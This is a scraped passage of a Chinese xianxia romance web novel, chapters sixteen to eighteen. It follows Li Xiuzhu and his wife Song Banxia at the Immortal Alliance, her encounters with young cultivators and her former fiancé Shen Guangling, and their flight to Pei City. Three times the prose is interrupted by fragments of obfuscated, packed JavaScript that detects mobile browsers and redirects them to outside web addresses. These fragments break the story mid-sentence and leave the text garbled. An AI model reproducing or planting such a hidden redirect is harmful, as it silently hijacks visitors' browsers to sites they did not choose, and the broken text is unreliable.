RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524699|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几千年,几番更迭,新血换旧血,位置也几经更换,最后坐落与西海与中洲边界上。 李修竹作为仙盟的客卿长老,享仙盟俸禄,虽说个性散漫,但仙盟有重要的事找他,他还是要去一趟的。 而且,宋半夏知道,李修竹心里对于仙盟也是认可的,不然就算是挂名客卿他也不会去当。 离开前,李修竹要御剑离开的脚忽然停下,一个急刹车,扭过头来,看到了一旁看云海的小姑娘。 差点忘了他自己还有个媳妇了。 李修竹想起自己的打算,挠了挠下巴,咳了一声,见人转过头来看他,他问:“那个……要不要一起去?” 在情劫丝解开之前,先改变一下自己以前在她心里的形象,等到解开之后,或许她就干脆将错就错,不跟他要合离了呢? 说实话,李修竹也实在难以揣测自己之前在她心中到底是个什么形象。 三天两头往外跑的浪荡子?还是曾经试图囚禁她的疯子? 之前对于他提议要不要一起出门,她似乎有些惊讶,但很快同意了。 宋半夏:“仙盟吗?” 李修竹说:“对。” 见她有意动,他干脆朝她伸出了手,他发丝飞扬,俊郎的眉目温和地看着她:“来。” 宋半夏朝他走去伸出手,腰一紧就被他带上了飞剑。 “站稳。”李修竹说,“如果怕就转过身来抱住我。” 身后的飞舟转瞬消失,被重新缩小,收入了芥子空间。 听了他的话宋半夏有些无奈,但想了想,问:“如果不怕,还能转过身来抱住剑君吗?” 砰、砰、砰。 李修竹在这一瞬间听到了自己心脏的跳动。 16. 第十六章 “嗯。” 他沉沉应下,想要自己显得不那么不矜持。 宋半夏就回过身来抱住了他,她的脸贴在他的胸腔上,周围的风冰冷,但他的怀抱温暖。 很快,到了仙盟,人来人往,大多都是修士,还有一些附近城镇的居民,因为得到了仙盟某人的帮助而跋山涉水来感谢他们。 宋家虽然在仙盟九席中有一个席位,但宋半夏却没怎么来过仙盟,仙盟里什么人都有,三教九流,用她哥的话来说,就是容易遇到不长眼的人。 宋半夏一路跟着李修竹走进去,一路往旁边看。 李修竹显然是很知名的,才走进没两步,就有人同他打招呼。 “李剑君。” “逍遥剑君?前段时间您不是说要去北海除恶妖,怎么来仙盟了?” 李修竹说:“你们都不知道?” 仙盟的消息大半是共享的,除了一部分极为特殊的,涉及到修仙界稳定的事情。 来人思绪一转,想到了最近那件事,拍了下脑袋,恍然大悟般,陪笑道:“盟主怎么把您也招来了?不过是蓬莱仙岛丢了几个人,也不一定就是掉到了菩提幻境中,何况菩提幻境虽说奇诡,鲜少有人从里面安全出来,危险程度却不高,因为它从来开启时只会吞一个人啊。我猜,那蓬莱岛的几人说不定,就是随便掉到哪个岛附近的秘境中去了。” 李修竹颦了下眉,但没说什么,前面有仙盟客卿叫他姓名,他便扭头往前走去,虽然穿着宽袍大袖,走路却还带风,发带飘飘,十分写意,很轻松就绕过曲折人群,到了那客卿面前。 宋半夏站在原地一时漠然看着。 他又把她忘了! 对面刚刚搭话的修士看了她一眼,再看了她一眼,好像才发现还有这么一个人,十分客气地寻问:“姑娘,你来这里可是有事?” 宋半夏默默道:“没事谁来这里啊。” 难道他们仙盟是什么洞天福地不成? 分明是麻烦的聚集地,平日里躲着走还差不多。 修士便好心提醒她说:“前面是仙盟内部通道,外人不可擅入,若是姑娘有什么事情可以去仙盟的大堂,那里会有人接待你的。” 宋半夏看了看随着人群已经远去的李修竹,想了想对这位好心的修士道了句谢,然后去了仙盟的大堂。 其实倒是也可以亮明身份,就算仙盟不看在李修竹的面上,也要看在宋家面上把她恭敬招待。 但她又不是来耀武扬威的,完全没有这个必要,低调一点算了。 到了仙盟大厅,宋半夏颇有些好奇地走到了仙盟的任务公告前看着,从最高的拔除西海邪修,到下面寻找附近镇子上老婆婆的猫。 “这种东西该挂到府衙吧,怎么挂到这里了。”旁边站过来一个少年修士说道,“等等,一百颗灵石?!……算我冒昧了。” 宋半夏被他逗笑,笑声惹得少年和他同行的几人看了过来。 一时间,她抿了下唇,尴尬咳了一声,道:“抱歉,抱歉,我只是觉得你说话很有意思。” 岳子昂三人是仙盟散修,经常接一些难搞的任务,在仙盟小有名气。 今日三人刚刚因上一个任务修整了一番,加上三人正好都无人想要闭关,所以才来仙盟要接个不大不小的任务练手。 作为三人中的剑修、平常脾气最烂的一人,岳子昂听见笑声,原本准备发怒的,一转头却先看到了一张漂亮的浅粉色的唇,目光上移,女孩的眉眼弯弯似月亮。 他顿时哑了火,待听她说出夸赞他的话后,耳朵尖瞬间红了。 宋半夏见他盯着自己无动于衷的样子,怪吓人,心想只是笑一声,不必像要记恨她一样看她吧? 她转头看了看那个老奶奶的任务,好意提醒:“虽然任务很简单,但是好像没有被审核过等级呢,所以才没有人敢接吧。” 她指了指那张任务,任务角下没有仙盟标志。 一般来说,被仙盟派专人审核过的任务都会有仙盟标定的危险等级标志,仙盟也会抽取一定的提成。当然毕竟只是判定等级,也会出现误判的情况,如果出现那种情况而导致严重后果,仙盟会对其进行一定的赔偿,但也不多,因为接仙盟的任务是要签生死状的,毕竟任务之中发生什么都有可能。 岳子昂旁边的同伴是一个中年模样的男性,名叫葛琼,此刻赞同道:“确实如此。这任务看着简单,说不定内有古怪。不然已经挂在这里三天了,却为何没有任何人完成?” 除了快要天人五衰的修士,大多数修士都会把自己的外貌固定在盛年模样,但也有一些个性独特的修士或功法独特的修士会例外。 宋半夏看了他一眼。 少年模样的岳子昂显然是因为特殊的功法,所以才一直是这样年轻的样貌,他的这位同伴,是符法修,按照周身吞吐的气息来看,应当是普通功法,大抵属于个性独特那一批。 岳子昂兴致勃勃地说:“别人都不敢接的,我们难道也不敢吗?” 他扫过自己的两个同伴。 葛琼道:“或许可以去看一下,就在附近村镇。” 而那名看着平凡的女子说:“先问一下仙盟到底有几个人接了这个任务,任务的结果又是怎样的吧。” 宋半夏多看了她两眼,因为她发现自己竟然看不透她用的什么功法,中洲功法虽然多,但宋家书阁里至少收录了一半,其余没收录的,也大都是同脉相连的功法。 她看不透她,只有两个可能,一个是这女子修为比她高出太多了——那至少要大乘期了,另一个就是这女子来自中洲之外的地方。 北海修士多放荡不羁之辈,难道她是西海或南海蓬莱来的? 岳子昂三人去问了大堂的仙盟执事,但也没得到什么有效信息。 “那任务是老人家自己来挂上的,灵石也是直接当场交上的,是个凡人,看着不富裕,不知道从哪里得到的这些灵石。我们本来是想拍个炼气期的小修士义务帮她找猫或者解决一下其他问题的。但是她拒绝了。仙盟事忙,人也忙,于是我们也就没有再继续管。” “正如你们所说,这个任务仙盟没有审核过,这两天也有胆子大的修士陆陆续续地接过这个任务,但都无功而返,都没有找到老人想找的猫,不过,倒是也没有受伤。” “我们推测,可能是因为老人家太寂寞了,所以才搞了这一出?不过……一百块灵石,虽然是中品质的,但怎么想这手笔也太大了些。” 宋半夏在一旁听着,也觉得有些古怪。 不过岳子昂他们三人还是准备去接这个任务,他们一个筑基两个金丹,队伍阵容已经足够豪华,觉得即便有什么问题,也能应对。 路过宋半夏,岳子昂脚步顿了顿,看向她,正好和她看了个对眼,他怔了怔,腰间的剑发出嗡鸣声。 引得葛琼和刘丁香不由得看向了岳子昂。 作为多年搭档,他们都知道,关于岳子昂本命剑的传说,据说当他遇到了自己心仪之人,他腰间的剑就会嗡鸣出声。 不过,因为这话年代过于久远,所以刘丁香二人只觉得奇怪,一时没反应过来的刘丁香还问道:“你的剑怎么响了?” 岳子昂本来就心慌,一听这话登时脸全红了,那红色一直蔓延到了他脖子上。 他浑身紧绷,面无表情道:“没事。” 脚却再也迈步动一步。 一见钟情这件事情太小众了,以至于当它到来之前,岳子昂从来都是嗤之以鼻的。 宋半夏收回了目光,她很少很外人接触,等到嫁给李修竹更不愿意和修仙界的其他人认识,当然她多数时间待在镇子上研究她的美食,也没有认识修仙界陌生人的途径。 所以这次跟着李修竹出远门,她实际上还是有些无措和茫然的,修真界的一百年,变化不大,但她还是需要逐渐适应。 葛琼往前走了半步,发现岳子昂站在原地一动不动,脑袋一转就想过来了。 他看向背对着他们正在仰头继续打量任务的女子,走了过去,同她搭话。 “姑娘,你是要接任务吗?”葛琼道,“要不要和我们一起?” 宋半夏没想到他们会邀请自己,她目光有些古怪地看了一眼刚刚的少年。 那少年没看她,站在原地沉默着,感觉很僵直。 她心想,虽然她是元婴修为,可这人的同伴明显跟她不对付,她刚刚只是看了那少年一眼,那少年就气的脸红脖子粗了,他现在来邀请她,这……不太好吧? “我吗?” “对,”葛琼道,“我感受不到你修为的强弱,向想来应该跟我们差不多境界吧。我们这个任务有些不知深浅,所以想找个人搭伙,如果任务完成,到时候我们会按照修为等级平分灵石。” 宋半夏说:“那你们可要吃点亏了,我是元婴。” 葛琼一怔,回头看了看岳子昂,果然岳子昂也愣住了。 虽然金丹和元婴之差了一个境界,但那可是一个大境界。他们没想到这仙盟大堂中竟然还有一位低调到堪称默默无闻的元婴。 葛琼仔细看了她两眼,确实一点也看不透她,遂立刻拱手道:“原来是元婴真人,失敬。” 宋半夏摆摆手说:“不需要这样,虽说我是元婴,但我因为身体原因,摄入灵气的方式和你们不一样,算是生生堆上来的境界吧。” 葛琼说:“那您也是我们的前辈。” 这下再邀请人似乎就有些厚脸皮了,仿佛是在求人庇佑似的,葛琼几人无言。 宋半夏看不出他们心里的弯弯绕绕,但本来也并不准备和他们去做任务,于是果断拒绝道:“我就不占你们便宜了,你们……” “怎么会!” 她话还没说完,对面的岳子昂就忍不住说话了。 宋半夏有些奇怪地看着他。 岳子昂支支吾吾:“倘若,前辈能去,我们愿意同前辈对半分灵石,绝无怨言。”话说完他就十分后悔,觉得自己笨嘴拙舌,说出的话也不好听。 宋半夏摇了摇头说:“并非我有意推辞,实在是我要在这里等人,没法跟你们去。” 葛琼道:“原来如此。” 再问下去就有些冒昧了,他往后退去。 宋半夏勾勾唇目送三人路过她。 岳子昂忽然握紧手,又停下脚步,问:“不知前辈姓名?” “不用这样前辈前辈地叫我,感觉把我叫老了,萍水相逢,你们既然刚刚诚心邀请我加入你们,那我也当你们是朋友,就叫我半夏就好了。” 这下别说岳子昂,就连葛琼二人也被拿捏了。 这样一位平易近人的修仙界前辈,长得还好看,说话又这么好听,谁见了谁不喜欢? “半……夏?”岳子昂呢喃着,等他意识到自己呢喃出了什么,瞬间再度从头红到了尾,尤其是他的佩剑震动不停,让她低头看了过来。 宋半夏应了一声,继续说:“我姓宋。” 姓宋…… 葛琼问:“您是宋家人?” 宋半夏点了点头,说:“不像?” 葛琼说:“不,只是觉得您格外和善。” 他们三人对视了一眼,皆心里奇怪,宋家什么时候出了这样一位元婴前辈? “那我们就先告辞了,若是有缘再见。” 宋半夏朝他们回了个礼。 走出两步之后,刘丁香却又停下脚步,问她:“虽然很唐突,但是还是想问一下,您……有道侣吗?” 宋半夏一时陷入沉思,不明白她是什么意思,张口要回答,又闭上口,感觉心口涌上来一阵酸涩,强压下去,无奈一笑说:“有,不过快要合离了。” 岳子昂手握紧又松开又握紧,闻言,转头看向她,憋了半天,说:“那一定是他配上您。” 宋半夏虽然并不认为天底下还有李修竹配不上的人,但听他说完安慰的话,还是觉得心里似乎宽容了一些笑了笑,说:“并非如此,是我们不合适了而已。” 天下情爱,最逃不过的就是这三个字了,不合适的身份、不合适的性格、不合适的时间、不合适的爱好……没有什么惊天动地的波澜,只是变得不合适了。 岳子昂似乎还想要说什么,被葛琼二人一人一边架走了。 宋半夏又忍不住被逗笑了,心想,那人虽然脾气有点差,可心眼没想到还挺善良的,还会来安慰她。 而架走岳子昂的二人,纷纷对岳子昂展开了教育。 刘丁香: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528002|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “把你的剑压一压,别让它震了。” 葛琼:“才刚见面,你一下子就贴了过去,那个姑娘会喜欢你这种登徒子?” 刘丁香:“反正现在我们也知道她的身份了,以后再寻机会再见就是了。” 岳子昂低头耷脑,无言以对。 * 仙盟议会堂,仙盟盟主李自秋坐在首位,依次往下排列。 李修竹一进去就翘着脚坐在了叶晃对面。 李自秋等人见了,纷纷让他上前来,一个大乘修士,坐在后边像什么样子。 李修竹:“这位置就挺好,你们继续谈,本尊听着呢。” 抱着刀的叶晃闭着眼,早听到了他进来了,知道他坐到了自己对面,也没什么表示,仍旧无动于衷地闭着眼。 李自秋见状也就叫众人算了:“别管他了,这人要是倔起来,能赶一头驴。” 众人纷纷陪笑,独宋家尤家和蓬莱除外。 蓬莱无缘无故丢了数十名弟子,说不焦急是不可能的。 李自秋说:“东海之事已经是很久远的历史了,可菩提幻境至今仍游荡在大陆上,并且还有越发狠厉的迹象。此次叫诸位前来,就是商讨菩提幻境的事。” 一个西边来的客卿率先开口说:“菩提幻境这么多年了,既没有崩塌的迹象,也没有扩张的迹象。因为四处游荡的个性,难免有人会觉得自己的家人或是道友掉进了菩提幻境之中。依我看,说不定你们蓬莱的人,就是掉进了某处没发现的小秘境罢了。” 蓬莱的人冷声道:“弟子们所去之处,我们都一一搜寻过了,没有任何秘境的踪迹。” “或许是搜寻的不够仔细?” 话落,蓬莱的一个脾气爆的仙人乓?一声拍了桌子,顿时场上气氛微变。 旁边的人连忙拦住了他,颦眉开口道:“我们蓬莱的大乘尊者特意出关,从海岸开始一寸一寸搜寻,却并没有找到什么不知名的秘境踪迹,请问这位道友,你认为怎样才算仔细?” “这……” 一群人你一言我一语各执己见,李自秋看向后面的李修竹道:“修竹,你曾经不是为了提升心境掉入过菩提幻境?可有发现什么异常?” 李修竹怔了一下,翘起的二郎腿放下。 “本尊确实去过菩提幻境。” 但他这时才发现,自己对于菩提幻境的一切竟然忘地一干二净了。 是从什么时候忘记的,他不禁凝眸思考。 难道是从一开始吗? 可他明明有逃出菩提幻境的记忆,再多的却并不记得了。 他抬头,众人正殷切看向他,希望他给拿个主意。 宋家的那个少家主宋一舟也看了过来。 真不知道这宋家怎么养的小孩,明明半夏看着那么活泼开朗,这宋一舟却是个臭脾气的晚娘脸。 李修竹把手一摊直言:“不记得了。” 李自秋疑惑极了,什么叫不记得了? 叶晃扶在刀上的手指动了动。 李修竹说:“不过我觉得,菩提幻境倒也不如诸位嘴里所说的那么稳定。” 蓬莱的人一听,忙问:“李剑君何解?” 李修竹道:“所有秘境都有一个核心本源,等本源消耗殆尽,自然会瓦解,只是越厉害的秘境这个本源越稳定。这么多年了,菩提幻境在大陆各地游荡,所耗本源数不胜数,除非它的本源能自己生生不息,否则绝不会一成不变。秘境坍塌之事可大可小,但若它开始‘吃’人,那就绝对不会只吃一个人,也绝对不会只在蓬莱仙岛吃人。” 李自秋沉吟片刻,道:“看来要通知各大宗门世家,查看自己的弟子有没有和蓬莱一样无故失踪的。” 一名客卿道:“看来我们要重新开启之前的计划了。通过排查进入菩提幻境又出来过的人的地点,然后来推测菩提幻境下一次出现的规律。” 有人叹:“这是个大工程。” 李自秋道:“先做吧,如今也是迫在眉睫了。” 他对蓬莱道:“仙盟会派人去和你们一起追查弟子们的下落的。” 蓬莱的一名仙人冷哼一声说:“你们能看顾好自己的弟子就好了。” 有人对于蓬莱的傲慢皱了皱眉头。 等到会议结束,人们接二连三地离开。 宋家少家主宋一舟走到了李修竹面前,冷冷地瞥了他一眼,离开了。 李修竹眯了眯眼,纳闷问李自秋:“这宋家崽子,是不是对我有什么意见?” 叶晃闻言转头看了一眼他。 李自秋嘴角直抽,话音有点虚地说:“怎么会。” 一旁的一名客卿听了李修竹的话,脚下一趔趄,站定,真诚道:“虽说咱们都知道李剑君您是秉性随和且心怀天下,但我想,应该不会有兄长会对娶了自己妹妹的人一点怨念也没有的吧?而且——” 他说到这里李修竹就已经愣住了。 只听那客卿继续道:“而且听闻这宋家兄妹感情是一直不错……哎!李剑君你这是去哪啊?!” 他话没说完,李修竹就一阵狂风似的往外跑去了。 宋一舟正和自己的妻子在骂李修竹:“那个人成日里这里逛逛那里逛逛,如今正月里竟然也跑了出来,把半夏一个人撇在家里,根本就是个混账!” 其妻劝他:“半夏本来也不喜欢出门溜达嘛,偏偏李剑君又是个修逍遥道的,这也难免,不过以往过年李剑君不都是会在镇上陪半夏的吗?今年怎么突然变了?是不是两个人吵架了?” 宋一舟目光沉沉冷哼道:“吵架?宋半夏要是真有这心气我也就不管她了。”他恨得咬牙切齿道:“她是烂泥扶不上墙!李修竹不用哄,招招手她就颠颠地跑过去了!” “倒也……不必这样说半夏。”其妻额头挂了滴冷汗,“上次我见他们二人,其实相处的还挺好的……李剑君?” 宋一舟滞了一下,回头看过去,正见李修竹疯了一般往前窜。 李修竹冲他抬了抬手,露出上牙:“大舅哥。” “……” “……” 过了许久,宋一舟拧眉冷声问:“他近日是又犯了什么疯病?” 其妻道:“呃,可能……可能有急事吧。” 17. 第十七章 是挺急,李修竹他又把他老婆给忘了!! 他简直想给自己一巴掌。 这么重要的事怎么能忘?! 他还不习惯出门时有老婆的日子。 李修竹下意识想通过玉佩定位宋半夏,可又想起之前的争吵,虽然后来他又把玉佩交给了她,但大抵那玉佩已经叫她处理了。 他一时心脏痛了痛,但咒术却已经瞬成。 李修竹顿了顿一下,目光微闪。 玉佩的位置就在此地,也就是说,宋半夏现在仍带着那个玉佩。 可他们出门之前,他明明没看见她腰间有佩戴东西。 * 宋半夏悠悠达达在仙盟大堂晃了一圈,觉得实在没什么好晃的了,然后去了仙盟外面。 走出去之前,她把李修竹曾给她的玉佩又拿出来带上了。 在他们出门时,李修竹把这玉佩还给了她,说既然曾经送给她了,那就是他的,他从来不把礼物收回去。 宋半夏见了这玉佩仍赌气说会扔掉它,李修竹只说随她心意。 随她心意,随她心意。 若所有事情都能随她心意就好了。 玉佩在她腰间摇了摇,似乎在安慰她说,别气啦,他是爱你的,但他更爱自由。 宋半夏低声说:“我一点也无法理解。” 虽然无法理解,但她必须要理解。 她安慰自己说——或许离了李修竹,她也能获得自由呢? 虽然她并不向往自由。 人潮来来往往,她在一旁看中了一个卖桂花糖的摊子,要往前去,忽然脚下突然一软,被人扶住了。 宋半夏转头准备道谢,见到了人的脸,感觉自己的嘴像是被没吃到桂花糖糊住了一样。 面前的人长发披肩,有一双桃花眼,眉目中深而俊秀,夹杂着些许不为人知的忧郁。 是个和宋半夏一样的符法修。 准确的说是和修逍遥道的符法修。 这人宋半夏可太熟了:“沈少家主。” 沈广陵仍是多年前那个温润公子的形象,大冬天手里拿着一把折扇法器,让宋半夏看到了沉默良久。 “半夏。” 他迟疑地往前走了一步,拉进了刚刚宋半夏看到他后一跃三步远的距离。 宋半夏笑不出来。 这人,不装能死? 沈广陵问她:“你怎么会在这里?” 宋半夏不走心地回答:“过来玩。” 其实二人虽然从小就有婚约,但相处的具体时间却很短。一个主要原因就是宋半夏的体质问题,注定了她只能待在家中,而不能去各大宗门修习。还有一个主要愿意,就是宋半夏觉得这人,太端了。 沈广陵从小就是一个很爱讲逼格的家伙。 犹记得十六岁那年,宋半夏跟朋友打赌,赌输了,要去沈家找沈广陵讨一把他用过的梳子。 宋半夏虽然很不愿意,但这跟另一个去逍遥道李剑君面前深情表白的选项来比,简直算是恩赐了,于是她当即同意了。 到了沈家,经过门房引进,和沈母等人聚堆喝茶等一系列操作,宋半夏终于逮到了机会和沈广陵单独说一句话。 她说出了问他要梳子的话,但沈广陵却颦了下眉,随即他没拒绝,也没同意,只是说不合适。 “一把梳子而已,有什么合不合适的,咱们这么多年交情,你就给我吧,大不了过几天我再给你换回来。” 沈广陵拉开了与她的距离,眉宇颦的更紧了,看了她片刻,说:“我知道了,我会让家中把梳子加到聘礼里。” “?”宋半夏目瞪口呆,“不能直接给我吗?一把梳子哎,我又不是要你的命?!” 沈广陵松开紧皱的眉目说疏离且翩翩地说:“宋道友,你我虽有婚约,但私相授受不可取。” 宋半夏有些绝望:“一定要如此吗?” 他竟然笑了,说:“一定要的。” 宋半夏觉得这人一直在挑衅她,从来没停过。他之前赠别人灵石、宝剑、香车的时候,怎么不搞这套?不想给就直说嘛!还什么加到聘礼里面,当她真缺这把梳子?! 沈广陵和她不一样,是个标准至极的修仙界世家子弟。他待人温和疏离,对于家族安排的未婚妻也并不因为天赋原因薄待,当然也不会厚待就是了。 宋半夏曾经想过,倘若二人结婚,他是绝对绝对会纳妾的,但却会对她相敬如宾,并且禁止小妾试图挑衅她的权威。 所以当听说了赵琳的事,她当时才会有一种终于来了的感觉。 不过,虽然他长得挺俊,各方面都非常好,但宋半夏接受不了那样的婚姻。 百年未见,二人却依然好似从前,但中间却多了更多的沟壑。 沈广陵看着她沉默片刻后,问:“你……过得还好吗?” 宋半夏说:“挺好的。” 她连一句话也不想搭理他。 沈广陵陪她站了一会儿,似乎受不了这种无言的氛围,犹豫了一下开口说:“我听闻,你的情劫丝至今还没有解开?” “听赵琳说的?”宋半夏这次终于拉扯出了一个皮笑肉不笑的笑来。 她是个十分记仇的人。 当年那件事让她气坏了,导致她对于二人十分耿耿于怀。 沈广陵道:“是。” 他过于坦诚的话,让宋半夏无语地撇了撇嘴。 沈广陵说完眉眼微微向下,忧愁就聚拢地更多了,他说:“我与她……当年之事,是我的错。” 其实当年作为被设计下药的一员,要说他有什么天大的错,那倒也有些勉强。 但是……宋半夏除了李修竹的事情,在其他事情上,一直是个极其外耗的人,简而言之通过外放的语言让他人内耗。 “不然呢,难道是我的错?” 刁蛮任性也是曾经宋家大小姐的美好品质之一,所以当李修竹说她脾气大的时候,她才会觉得不敢置信,因为那已经是她收敛万分后的结果了。 沈广陵整个人都滞住了。 宋半夏哼了一声,往旁边站了站。 李修竹一路瞬行赶到后,见到宋半夏的那一刹那松了口气之余,看到她身旁的人又凝滞住了。 一男一女挨近站着,宋半夏的神色是他从没见到过的傲慢和任性。 宋半夏说:“能不能离我远点?沈大公子。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528003|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李修竹听了这话心脏骤然一缩,拧眉看去,忐忑不安地心想,这难道就是宋半夏曾经的未婚夫吗? 那个沈家的少主? 他思绪乱飘,一时想到那封要带她离开的信,一时又想到那赵家小辈说的话。 他往前迈了一步却又停住了脚。 沈广陵是来带走她的吗? 李修竹心乱如麻,明明刚刚见到人的第一眼就握到了腰间佩剑,可那剑好像生锈了一样迟迟没能被他拔出。 宋半夏抱着胳膊站了片刻,忽然感受到了一束不容忽视的目光,扭头看过去,目光一亮,意识到自己现在是个什么形象,僵了一下,放下了两只手臂,叫了一声:“剑君?” 李修竹的目光有些复杂,宋半夏看着,不知怎么地竟有了三分畏惧。 这实在是很奇怪,她心想,难道是仙盟出了什么大事吗? 她朝他走了过去。 李修竹不知道自己到底是怎么度过这半分钟的,在她朝他走来之前,他的所有思维和感知都不受他自己控制了。 如果她没发现他,如果她真的要跟着沈广陵离开,他不确定自己会做出什么样的举动。 但是,她至少朝他走过来了,不知道到底是迫于什么,是他的目光还是情劫丝的副作用? 李修竹不安且有些羞愧与庆幸。 宋半夏走到他身前问:“事情办完了?” “嗯。”李修竹看向她的腰间,是那个玉佩,“你怎么……” “什么?”宋半夏顺着他的目光低头看说,“我怕你等会儿出来,找不到我。” 李修竹目光变得不那么凌厉了,像是被主人安抚住的野狼,不再冲着敌人嘶吼。 她似乎有在将他的话听进去,至少,还保留着这玉佩。 李修竹不愿意在这里多待,说:“走吧。” “好。” “半夏!”沈广陵突然出声叫了宋半夏一声。 宋半夏回头看向他。 沈广陵道:“当年的梳子,我真应该直接给你的?” 梳子? 李修竹看向宋半夏。 凡人男女之间常互赠梳子以做定情信物,求白头偕老与子孙满堂。 她和沈广陵……也曾如此吗? 宋半夏一愣,随即颦了下眉,说:“过去的事情,我不想再提了,沈少主下次见了我也还请勿提了。” 宋半夏的本意是想要把过去翻篇,毕竟她都嫁人一百年了,当年的事对错已经不想再争论,沈家和宋家也向来是世交,为了她的情爱之事争执多年,产生嫌隙实无必要。 沈广陵神色落寞,似有许多未言之话。 但他也没办法说出了,因为李修竹忽然伸手揽住了宋半夏的腰,宋半夏不明所以地抬头看了看他。 李修竹盯着沈广陵,灵压横出,看到沈广陵骤然变化的脸色才冷声道:“沈少主,饭可以不吃,话还是少说两句为好。” 沈广陵同样冷下了脸看着他。 待目送二人远去,他才捂住胸口,咳了一声。 宋半夏被李修竹带上了飞剑,逍遥剑没在他身上,不知道是被他收起来了,还是又去附近闲逛了。 18. 第十八章 触目所及处有幽幽林木和涓涓细流。 虽说宋半夏不爱出门,但对于路线和方位十分敏感,因此很快判定这个方向是去城镇的方向,她有些奇怪:“咱们这是要去哪,这里不是去北海的路吧?” 腰上的手一开始压的紧,让她只能倚靠在他的怀抱里,她低头看去,望见飞剑划破长空,过盛的灵气缠绕在她的手上、红色石榴裙上。 他似乎生气了。 宋半夏有些后知后觉,为什么? 她低头停顿的时间太久,被压着焦怒的李修竹发现,李修竹顿了顿,将自己的手松了松。 大抵这就是男子的劣根性,他分明懂得该如何体贴温柔,也分明懂得如何去理解和原谅,情绪一上头,就什么也顾不得了,这导致他面对她时,总忍不住自己的侵略性动作。 李修竹本以为这般无法自控的行为随着他的成长,将永远不会出现在他的身上,毕竟他从小就是个懂得隐忍的人。 现如今,他却发觉自己确实是在失控。 他的语气软了下来:“裴城有几家饭馆的菜特别好吃,你不是喜欢研究美食?我带你去尝尝。” 宋半夏眼睫扑闪了一下,垂在身侧的手动了动,摸到了他放在自己腰间的手,滚烫而修长,她把那只手几不可查地压了压,这让本就失去判断能力的李修竹觉得,她似乎是在纵容他的这种行为——纵容他的侵略、纵容他的欲望在她身上攀爬。 李修竹于心下深深叹了口气。 虽然这样说可能有些太过人渣,但他总觉得二人这持续一百年的孽缘,她也需要付一点责任。 “宋半夏,你在做什么?”感受到手上传来的温度与动作,他发出危险的声音。 宋半夏喜欢李修竹的手,虽然它不够完美,上面更有有很多因为握剑而形成的薄茧,但它很暖和,像他整个人一样。 顺着这手往上,她用两根手指,试图去丈量他的腕骨直径。 那腕骨比她想的还要粗一些,指腹往下压,仿佛能听见他心跳的声音。 她说:“我在比对一下剑君和我的手腕有什么区别。” 李修竹看不见她的表情,但想来是很平静的面容。他有很多话想要问她,关于过去,关于未来。为了问出这些话,他做了很久很久的准备。只是从来没有一个合适的时机。 最终他沉默良久道:“你怎么又把玉佩带到身上了?” 宋半夏听见他的问话,弯弯的嘴角往下落了落,变成了一条平直的线。 世界上的大多数人都曾有着恢宏的目标,不管那个目标会不会在成长的过程中破碎。 她却不一样,她没有什么远大的志向,和自己喜欢的人待在一起吃着喜欢的食物,对于宋半夏来说就已经足够了。 即便每天都这样重复,她也不会因此感到厌烦。 宋半夏知道自己秉性,因此偶尔也会有那么一瞬间会觉得,或许自己有在拖累身边的人。 前世的父母、今世的父母兄长,还有他。 宋半夏和他们有着不同的对生活的态度,但爱使他们相互包容着彼此。 “我想着,如果我走远了,剑君找不到我,就可以通过这玉佩来找我了。”她说。 李修竹听着,静了半晌,只说:“就你嘴甜。” 他没把她的话当真,宋半夏也并不去强调这句话的真实性。她不想自己的爱成为别人沉重的负担,就像清晨江上的浓雾,使得乘船的人迷路。 “我的嘴不甜。”宋半夏转过头,弯弯的眼,笑意盈盈,对他说,“不信剑君自己尝尝。” 她故意搞怪,嘟起嘴唇。 李修竹眉眼深深,他的唇角一向是带着轻巧的弧度的,一副玩世不恭的做派,如今看着她忽然敛了敛那笑,眼神变得有些危险,不待宋半夏去搞懂那情绪,他忽然又笑了,很阳光的样子,将阴霾一扫而空,好像那是她的错觉。 “好啊,等会儿尝一下好了。” 宋半夏眨了下眼,笑着扭回自己的脑袋。 她问:“咱们去裴城吃东西,不会耽误北海的行程吗?” “是啊。”李修竹想故意逗她一下。 他说完,她却没有任何反应,他心里倒慌了神,主动解释说:“闻奈他们会来裴城跟我们汇合,耽误不了多长时间的。” “噢。” 宋半夏应着,心想,原来是顺路。 路很短,剑飞的很快。 裴城近在眼前。 城内是严禁修士飞行的,因此,宋半夏二人只能下落。 这地方离仙盟不远,受妖魔的危害小,但不属于世家管辖范围,城中人口不多,占地范围也不多,处于中洲北海中间,过路的修士和商人爱从这里歇脚,所以倒也还算热闹。 进了城门,能看到很多带着佩剑的、法器的人走在街上,还有些没能完全化形的小妖,一双天真地眼睛看看这边,看看那边。 穿的狂放的大都是北海来的,穿的严实的大都是中洲来的。 宋半夏走在街上,看到了一个八卦,正想转头跟白琪分享,下一秒才记起来,白琪没跟来。 她便扯了扯李修竹的衣袖,李修竹不明所以地看向她:“怎么?” “低头。” 李修竹见她一脸谨慎和避讳莫深的表情,神情也是一肃,几乎是瞬间,神识扫过周围,却并没有发现什么危险。 